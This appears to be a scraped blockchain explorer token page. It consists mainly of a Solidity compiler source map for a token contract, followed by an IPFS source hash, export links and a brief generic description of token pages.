-;5052:67;;;;:::i;:::-;5022:97;-1:-1:-1;5134:29:0;5022:97;5134:29;;:::i;:::-;5196:4;5178:24;;;;:9;:24;;;;;:47;;5134:29;;-1:-1:-1;5206:19:0;;5178:24;;;:47;;5206:19;;5178:47;:::i;:::-;;;;-1:-1:-1;;;4957:280:0;-1:-1:-1;;;;;5247:13:0;;;;;;:9;:13;;;;;:23;;5264:6;;5247:13;:23;;5264:6;;5247:23;:::i;:::-;;;;;;;;5301:2;-1:-1:-1;;;;;5286:26:0;5295:4;-1:-1:-1;;;;;5286:26:0;;5305:6;5286:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;5286:26:0;;;;;;;;-1:-1:-1;5330:4:0;;3951:1391;-1:-1:-1;;;;;;3951:1391:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:156::-;2365:20;;2425:4;2414:16;;2404:27;;2394:55;;2445:1;2442;2435:12;2394:55;2299:156;;;:::o;2460:252::-;2524:6;2532;2585:2;2573:9;2564:7;2560:23;2556:32;2553:52;;;2601:1;2598;2591:12;2553:52;2624:27;2641:9;2624:27;:::i;:::-;2614:37;;2670:36;2702:2;2691:9;2687:18;2670:36;:::i;:::-;2660:46;;2460:252;;;;;:::o;2925:388::-;2993:6;3001;3054:2;3042:9;3033:7;3029:23;3025:32;3022:52;;;3070:1;3067;3060:12;3022:52;3109:9;3096:23;3128:31;3153:5;3128:31;:::i;:::-;3178:5;-1:-1:-1;3235:2:1;3220:18;;3207:32;3248:33;3207:32;3248:33;:::i;:::-;3300:7;3290:17;;;2925:388;;;;;:::o;3318:380::-;3397:1;3393:12;;;;3440;;;3461:61;;3515:4;3507:6;3503:17;3493:27;;3461:61;3568:2;3560:6;3557:14;3537:18;3534:38;3531:161;;3614:10;3609:3;3605:20;3602:1;3595:31;3649:4;3646:1;3639:15;3677:4;3674:1;3667:15;3531:161;;3318:380;;;:::o;3703:127::-;3764:10;3759:3;3755:20;3752:1;3745:31;3795:4;3792:1;3785:15;3819:4;3816:1;3809:15;3835:416;3924:1;3961:5;3924:1;3975:270;3996:7;3986:8;3983:21;3975:270;;;4055:4;4051:1;4047:6;4043:17;4037:4;4034:27;4031:53;;;4064:18;;:::i;:::-;4114:7;4104:8;4100:22;4097:55;;;4134:16;;;;4097:55;4213:22;;;;4173:15;;;;3975:270;;;3979:3;3835:416;;;;;:::o;4256:806::-;4305:5;4335:8;4325:80;;-1:-1:-1;4376:1:1;4390:5;;4325:80;4424:4;4414:76;;-1:-1:-1;4461:1:1;4475:5;;4414:76;4506:4;4524:1;4519:59;;;;4592:1;4587:130;;;;4499:218;;4519:59;4549:1;4540:10;;4563:5;;;4587:130;4624:3;4614:8;4611:17;4608:43;;;4631:18;;:::i;:::-;-1:-1:-1;;4687:1:1;4673:16;;4702:5;;4499:218;;4801:2;4791:8;4788:16;4782:3;4776:4;4773:13;4769:36;4763:2;4753:8;4750:16;4745:2;4739:4;4736:12;4732:35;4729:77;4726:159;;;-1:-1:-1;4838:19:1;;;4870:5;;4726:159;4917:34;4942:8;4936:4;4917:34;:::i;:::-;4987:6;4983:1;4979:6;4975:19;4966:7;4963:32;4960:58;;;4998:18;;:::i;:::-;5036:20;;4256:806;-1:-1:-1;;;4256:806:1:o;5067:140::-;5125:5;5154:47;5195:4;5185:8;5181:19;5175:4;5154:47;:::i;5212:168::-;5285:9;;;5316;;5333:15;;;5327:22;;5313:37;5303:71;;5354:18;;:::i;5385:128::-;5452:9;;;5473:11;;;5470:37;;;5487:18;;:::i;5518:251::-;5588:6;5641:2;5629:9;5620:7;5616:23;5612:32;5609:52;;;5657:1;5654;5647:12;5609:52;5689:9;5683:16;5708:31;5733:5;5708:31;:::i;6083:217::-;6123:1;6149;6139:132;;6193:10;6188:3;6184:20;6181:1;6174:31;6228:4;6225:1;6218:15;6256:4;6253:1;6246:15;6139:132;-1:-1:-1;6285:9:1;;6083:217::o;6437:127::-;6498:10;6493:3;6489:20;6486:1;6479:31;6529:4;6526:1;6519:15;6553:4;6550:1;6543:15;6569:980;6831:4;6879:3;6868:9;6864:19;6910:6;6899:9;6892:25;6936:2;6974:6;6969:2;6958:9;6954:18;6947:34;7017:3;7012:2;7001:9;6997:18;6990:31;7041:6;7076;7070:13;7107:6;7099;7092:22;7145:3;7134:9;7130:19;7123:26;;7184:2;7176:6;7172:15;7158:29;;7205:1;7215:195;7229:6;7226:1;7223:13;7215:195;;;7294:13;;-1:-1:-1;;;;;7290:39:1;7278:52;;7385:15;;;;7350:12;;;;7326:1;7244:9;7215:195;;;-1:-1:-1;;;;;;;7466:32:1;;;;7461:2;7446:18;;7439:60;-1:-1:-1;;;7530:3:1;7515:19;7508:35;7427:3;6569:980;-1:-1:-1;;;6569:980:1:o;7554:125::-;7619:9;;;7640:10;;;7637:36;;;7653:18;;:::i
Swarm Source
ipfs://acdb83ff55f6e531b27a8b4c2dc784ca51b7ea6b97659c806d7c92cf0a804d1c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.